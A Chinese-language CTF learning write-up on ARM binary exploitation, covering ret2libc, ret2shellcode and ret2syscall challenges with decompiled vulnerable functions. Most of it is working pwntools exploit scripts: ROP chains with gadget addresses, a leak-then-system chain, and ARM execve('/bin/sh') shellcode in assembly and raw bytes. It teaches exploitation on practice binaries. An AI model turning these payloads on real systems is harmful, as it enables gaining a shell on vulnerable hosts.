PWN异架构学习-ARM架构题型
前言
学习了一下国资师傅的pwn异架构教程,有很多异架构的题,这里自己做一遍复现一下
ret2libc
这些题主要是为了回顾x86架构下的利用方法和ARM架构的结合下的使用。
解题过程
通过分析发现存在栈溢出漏洞
1 2 3 4 5 6 7 8 9 10 11
| int dofunc() { int buf[3]; // [sp+0h] [bp-Ch] BYREF
buf[0] = 0; buf[1] = 0; write(1, "input:", 6u); read(0, buf, 0x100u); write(1, "byebye", 6u); return 0; }
|
exp1
国资师傅的利用方法是ret2csu去泄露libc然后执行system(“/bin/sh”)。由于ARM架构是通过POP PC来返回的,一般arm架构都是通过ret2csu(ret2csu用的多)去解,下面是exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87
| def exploit(): addr_1 = elf.bss()+0x100 leak_func_name = 'read' leak_func_got = elf.got[leak_func_name] read_got = leak_func_got write_got = elf.got['write'] deadbeef = 0xdeadbeef rep_func = elf.symbols['main'] ru("input:") MOV_R2_R9 = 0x000104E0 POP_R4_R10_PC = 0x00010500 payload = p32(deadbeef)*3 + p32(POP_R4_R10_PC) r4 = 0 r5 = write_got r6 = 1 r7 = 1 r8 = leak_func_got r9 = 4 r10 = deadbeef pc = MOV_R2_R9 payload += p32(r4) + p32(r5) payload += p32(r6) + p32(r7) payload += p32(r8) + p32(r9) payload += p32(r10) + p32(pc) r4 = 0 r5 = read_got r6 = 1 r7 = 0 r8 = elf.bss()+0x100 r9 = 0x10 r10 = deadbeef pc = MOV_R2_R9 payload += p32(r4) + p32(r5) payload += p32(r6) + p32(r7) payload += p32(r8) + p32(r9) payload += p32(r10) + p32(pc) r4 = deadbeef r5 = deadbeef r6 = deadbeef r7 = deadbeef r8 = deadbeef r9 = deadbeef r10 = deadbeef pc = rep_func payload += p32(r4) + p32(r5) payload += p32(r6) + p32(r7) payload += p32(r8) + p32(r9) payload += p32(r10) + p32(pc) s(payload) ru('byebye')
leak_func_addr = u32(r(8)) print("leak_func_addr is ",hex(leak_func_addr)) libc_addr = leak_func_addr-libc.symbols["read"] system_addr= libc_addr +libc.symbols["system"] binsh_addr= libc_addr +next(libc.search(b"/bin/sh\x00"))
addr_name_list = ['libc','system', 'binsh'] for i in addr_name_list: exec("print('{}_addr is :',hex({}_addr))".format(i, i)) s(p64(system_addr)+b"/bin/sh\x00") ru("input:") payload = p32(deadbeef)*3 + p32(POP_R4_R10_PC) r4 = deadbeef r5 = elf.bss()+0x100 r6 = deadbeef r7 = binsh_addr r8 = deadbeef r9 = deadbeef r10 = deadbeef pc = MOV_R2_R9 payload += p32(r4) + p32(r5) payload += p32(r6) + p32(r7) payload += p32(r8) + p32(r9) payload += p32(r10) + p32(pc) s(payload)
|
exp2
貌似qemu-user模式无法开启PIE,NX这些保护(如果有师傅知道如何开启,可以教教我),于是我们可以通过其他shellcode去利用,顺便学习一下shellcode的ARM架构版,下面是exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
|
def exploit(): pop_r3_pc = 0x000102e8 blx_r3 = 0x000104f4 read_addr = 0x001045C deadbeef = 0xdeadbeef bss_addr = elf.bss()+0x100 ru("input:") payload = p32(bss_addr)*3 + p32(pop_r3_pc)+p32(bss_addr)+p32(read_addr) s(payload) ru('byebye')
shellcode=''' add r0,pc,#12 mov r1,#0 mov r2,#0 mov r7,#11 svc 0 .ascii "/bin/sh\\0" ''' payload=p32(pop_r3_pc)+p32(bss_addr)+p32(blx_r3)+asm(shellcode) sl(payload)
|
这里的svc就是x86里面的syscall也就是系统调用,其实可以发现ARM架构主要还是利用POP{R* …… PC}这种类型的gadget来进行ROP。
ret2shellcode
解题过程
可以发现存在栈溢出漏洞,并且会覆盖部分BSS段内容,并且赋予了可执行权限
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| int dofunc() { char buf[256]; // [sp+0h] [bp-11Ch] BYREF unsigned int addr; // [sp+100h] [bp-1Ch] int addr_4; // [sp+104h] [bp-18h] size_t len; // [sp+10Ch] [bp-10h]
len = getpagesize(); addr = (unsigned int)buf2 & 0xFFFFF000; addr_4 = (int)buf2 >> 31; mprotect((void *)((unsigned int)buf2 & 0xFFFFF000), len, 7); puts("input:"); read(0, buf, 512u); strncpy(buf2, buf, 0x64u); printf("bye bye ~"); return 0;
|
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| def exploit(): bss_addr = 0x21040 dofuunc = 0x0104FC shellcode = b"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x1a\x0a\x1c\x42\x72\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x64\x61\x73\x68\x59\xc0\x46" payload=shellcode.ljust(0x11C,b"\xff")+p32(bss_addr)
sla("input:\n",payload)
|
tips
这里本来应该算是一个简单的shellcode执行就行,但是由于存在零截断问题,卡住了,本来准备用覆写去解决,但是发现并不行,后来在其他师傅的帮助下,知道了构造无零字节的shellcode的方法(上课没上的原因)
这里贴几个shellcode的生成网站
https://www.exploit-db.com/shellcodes
http://shell-storm.org/shellcode/index.html
https://xz.aliyun.com/t/4098#toc-0
ret2syscall
解题过程
发现存在栈溢出漏洞
1 2 3 4 5 6 7 8 9 10 11
| int dofunc() { int v1[3];
v1[0] = 0; v1[1] = 0; write(1, "input:", 6); read(0, v1, 0x100u); puts(v1); return 0; }
|
exp
因为是静态编译,存在很多的gadget,也就是ROP的思路了,控制r0-r2和r7达到getshell的情况,中间有个小插曲,发现执行完/bin/sh后没有getshell,调试后才知道是因为/bin/sh后要有个零字节截断才行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| def exploit(): pop_r0_pc = 0x0005f15c pop_r1_pc = 0x0005f244 pop_r7_pc = 0x00027e88 pop_r3_pc =0x00010160 pop_r1_r2_lr_bx_lr = 0x0005ee48 svc_0 = 0x00057cb8 pop_r4_lr_bx_r3 = 0x0001d094 read_addr = 0x27FD4 bss_addr = 0x008AE8E deadbeef = 0xdeadbeef dofunc = 0x010524 pl = b"A"*0xC+p32(pop_r1_r2_lr_bx_lr)+p32(0)+p32(0x100)+p32(pop_r0_pc)+p32(0)+p32(pop_r1_pc)+p32(bss_addr)+p32(pop_r3_pc)+p32(read_addr)+p32(pop_r4_lr_bx_r3)+p32(1)+p32(dofunc) sla("input:",pl) sla("AAAAAAAAAA","/bin/sh\x00") pl = b"A"*0xc+p32(pop_r3_pc)+p32(0)+p32(pop_r1_r2_lr_bx_lr)+p32(0)*2+p32(pop_r0_pc)+p32(bss_addr)+p32(pop_r7_pc)+p32(11)+p32(svc_0)+p32(0x10D78)*3 sa("input:",pl)
|